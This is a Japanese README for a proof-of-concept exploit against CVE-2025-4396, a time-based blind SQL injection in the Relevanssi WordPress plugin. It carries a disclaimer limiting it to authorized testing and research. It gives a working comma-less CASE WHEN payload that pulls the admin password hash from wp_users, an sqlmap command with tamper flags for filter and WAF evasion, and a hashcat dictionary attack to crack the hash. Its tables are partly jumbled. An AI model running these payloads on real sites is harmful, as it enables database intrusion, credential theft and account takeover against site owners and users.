
CVE-2025-4396 - WordPress Relevanssi 時間ベースのブラインドSQLインジェクション
免責事項: このリポジトリは許可されたペネトレーションテスト、セキュリティ研究、教育目的のみを対象としています。コンピュータシステムへの不正アクセスは違法かつ非倫理的です。
Relevanssi 4.24.4 WordPressプラグインにおける時間ベースのブラインドSQLインジェクション脆弱性の概念実証エクスプロイトです。この実装は、以下のような堅牢化された環境に特化しています:
SUBSTR(str, pos, len)やIF(cond, true, false)構文が壊れるSLEEP()を実行し、誤検知を引き起こす特定の環境(例:DVWPラボ)では、標準的なSQLインジェクションペイロードは次の2つの主な理由で失敗します:
| 問題 | 影響 |
|---|---|
| カンマ除去 | SUBSTR(str, pos, len)とIF(cond, true, false)が壊れる |
貪欲なSLEEP() | MySQLが完全なブール式を評価する前にsleepを実行し、誤検知を引き起こす |
この両方の問題には的を絞った回避策が必要です。以下で手動および自動のアプローチを説明します。
asy.py)非同期Pythonスクリプトで、文字単位の精密な抽出を提供します。自動化ツールのオーバーヘッドを回避し、CASE WHENロジックによるカンマフィルタリングをバイパスします。
| 機能 | 実装 |
|---|---|
| 非同期I/O | 非ブロッキングリクエスト用のaiohttp |
| カンマなしペイロード | SUBSTR(str FROM pos FOR len)構文 |
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
なぜIF()ではなくCASE WHENなのか?
IF()はカンマを使用し、貪欲な評価を受けます。CASE WHENは遅延評価を行うため、SLEEP()は条件が実際にTRUEの場合にのみトリガーされます。
SQLMapは、特定のタンパースクリプトとフラグを使用して、この環境での発見を自動化できます。
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
--threads=1に関する注意: これは信頼性の高い抽出に不可欠です。複数のスレッドはスリープ遅延を重複させ、二分探索のタイミングを壊し、文字化けした出力を生成します。
| 項目 | 値 |
|---|---|
| 対象 | WordPress wp_usersテーブル |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 はphpassハッシュを対象とします-a 0 はrockyou.txtを使用した純粋な辞書攻撃です| 非貪欲ロジック | CASE WHENによりSLEEP()がTRUEの場合のみ発火 |
| フラグ | 目的 |
|---|
--tamper=commalessmid,if2case | ペイロードをカンマなしSQLに書き換え、IF()をCASE WHENに置き換えます |
--tamper=between | >比較をBETWEENに置き換え、追加のWAFバイパスを実現します |
--technique=T | 時間ベースのブラインドインジェクションのみに制限します |
--no-cast | 禁止されたカンマを導入するCAST()ラッパーを防ぎます |
--threads=1 | タイミング精度を保証します — 同時リクエストはスリープ遅延を重複させます |
| ユーザー | admin(ID = 1) |
| 抽出されたハッシュ | REDACTED |
| アルゴリズム | phpass(標準のWordPressパスワードハッシュ) |